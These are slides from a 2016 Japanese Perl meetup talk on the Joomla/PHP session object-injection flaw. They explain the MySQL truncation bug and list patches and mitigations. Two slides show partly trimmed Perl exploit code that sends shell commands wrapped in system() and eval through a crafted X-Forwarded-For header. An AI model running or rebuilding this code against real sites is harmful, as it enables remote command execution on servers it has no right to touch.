Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

CMSとPerlで遊ぼう

吉祥寺.pm#6のLTで話した内容です。
念のためコードは少し削ってます。
#kichijojipm

  • Login to see the comments

  • Be the first to like this

CMSとPerlで遊ぼう

  1. 1. CMSとPerlで遊ぼう 2016/1/15 吉祥寺.pm#6 @mahoyaya
  2. 2. @mahoyaya • Name: mahoyaya • Work: NWインフラ(?) • Favorite: DIY • Twitter: @mahoyaya • blog: http://mahoyaya.hateblo.jp • GitHub: https://github.com/mahoyaya
  3. 3. Hardeningで日経デビューしました
  4. 4. みなさんご存知ですか ?
  5. 5. • <<< JPCERT/CC WEEKLY REPORT 2015-12-24 >>> • 【1】ISC BIND 9 にサービス運用妨害 (DoS) の脆弱性 • 【2】Joomla! に複数の脆弱性 • 【3】Firefox に複数の脆弱性 • 【4】Ruby の標準添付ライブラリに脆弱性 • 【5】Symantec Endpoint Encryption に情報漏えいの脆弱性 • 【6】ScreenOS に複数の脆弱性 • 【7】WordPress 用プラグイン Welcart に SQL インジェクションの脆弱性 • 【8】WinRAR の実行ファイル読込みに脆弱性 • 【9】Ipswitch WhatsUp Gold に複数の脆弱性
  6. 6. Joomlaに深刻な脆弱性、パッ チ公開2日前から攻撃横行
  7. 7. どんな内容? • JoomlaはUser-AgentやX-Forwarded-Forなんかのセッション情報をDB に保存する • MySQLはUTF-8の4Byte文字列があると、それ以降の文字を切り詰め る仕様 • セッション情報がMySQLで切り詰められた結果、PHPの session_encode形式のデータがsession_decodeされた時に文字列の情 報がオブジェクトに化ける • ディストラクタされるオブジェクトをインジェクションした後に再度同 じセッションにアクセスすると、そのオブジェクトが生成されて・・・ 徳丸先生のページ:http://goo.gl/dgPwO0
  8. 8. というわけで、 JoomlaにPerlでObject injectionしてみた
  9. 9. while(1) { my $response_header = ""; #========================# # get command # #========================# my $cmd_str = getCmd(); last if $cmd_str =~ m/Aquitz/; $cmd_str =~ s/^(.+)$/system(’$1');/; info($cmd_str); #=========================# # connect to remote host # #=========================# for(my $i = 0; $i < 3; $i++){ # generate payload string my $request_str = generate_payload($cmd_str, @ary_cookies); #info($request_str); info("connect to $host:$port"); info("[send data] " . $request_str); my $sock; socket($sock, PF_INET, SOCK_STREAM, 0) or die "can't open socketn"; connect($sock, $sock_addr) or die "can't connect remote hostn"; # no buffered sock $sock select($sock); $|=1; select(STDOUT); ssend($sock, $request_str); #=====================# # get http response # #=====================# # print headers $response_header = ""; while (<$sock>){ print $_; $response_header .= $_; last if m/^rn$/; } # print body $|=1; while (<$sock>){ if( $print > 0){ print $_; } } #====================================# # get cookie and print status code # #====================================# for my $line (split("rn", $response_header)){ if($line =~ m/ASet-Cookie: /){ $line =~ s/ASet-//; my @ary = split(";", $line); push(@ary_cookies, $ary[0]); info("<" . $ary[0] . ">"); } elsif($line =~ m|AHTTP/1.1 |){ my $status = $line; $status =~ s|AHTTP/1.1 ([0-9]{3}) .+z|$1|; info("<Response: " . $status . ">"); } } close($sock) if defined $sock; print "================================n"; } # end for loop } # end while
  10. 10. sub php_str_noquotes { my $data = shift; my $encoded = ""; for(split("", $data)){ $encoded .= 'chr(' . unpack("C", $_) . ').'; } return substr($encoded, 0, length($encoded) - 1); } sub generate_payload { my $php_payload = shift; my $aref_cookies = shift; my $request_str = ""; $php_payload = 'eval(' . php_str_noquotes($php_payload) . ')'; my $terminate = "xf0xfdxfdxfd"; my $exploit_template = <シリアライズしたセッションデータ+$php_payload> $exploit_template .= $terminate; #utf8 4byte char # set headers my $ua = 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3'; my $xff = 'x-forwarded-for: ' . $exploit_template; $request_str = append($request_str, "GET " . $request_url . " HTTP/1.1"); $request_str = append($request_str, "Host: " . $host . ":" . $port); $request_str = append($request_str, "Accept-Encoding: gzip, deflate"); $request_str = append($request_str, $xff); $request_str = append($request_str, "Accept: */*"); $request_str = append($request_str, $ua); $request_str = append($request_str, "Connection: close"); $request_str = appendAll($request_str, $aref_cookies); $request_str = append($request_str, ""); return $request_str; }
  11. 11. DEMO
  12. 12. なんでも出来て楽しい !
  13. 13. それPerl6でできるよ
  14. 14. はじめて2日、Perl6はなかな か良いが・・・ • バージョン違いもあるが、手元のWinとMacで動作が全く異なる部分がある ’split(“”,:skip-empty)’とか • 文字出力でsegmentation fault 11 文字列連結でmalformed utf-8 socketからのデータ受信でmalformed utf-8 わけわからんよ・・・ • はじめたばかりでルールがとっつきにくい(ちゃんと覚えれば超便利だと思 う • コンストラクタの引数設定がいまいちよくわからん。 submodule BUILDで逃げられるが引数が必須になる。
  15. 15. DEMO 2
  16. 16. 脆弱性のあるJoomla(?)でObject injectionされないために • Joomlaが悪い感じになってるけど、Joomlaの脆弱性というより、PHPのセッションデシリ アライザとMySQLの仕様の問題 • 最新のPHPでは修正されている PHP-5.4.45 PHP-5.5.29 PHP-5.6.13 PHP-7.0.0 • アプリケーション側で対応したバージョンを導入する(例:Joomla! 3.4.6) • MySQL 5.5.3 以降で使える utf8mb4 エンコーディングを使用する • セッションストレージとしてMySQLを避ける。(MariaDBでは起きない) • バリデーションによりUTF-8の4バイト形式をエラーにする <F0..F7> <[80..BF]>*3 徳丸先生のページ:http://goo.gl/dgPwO0
  17. 17. おわり

×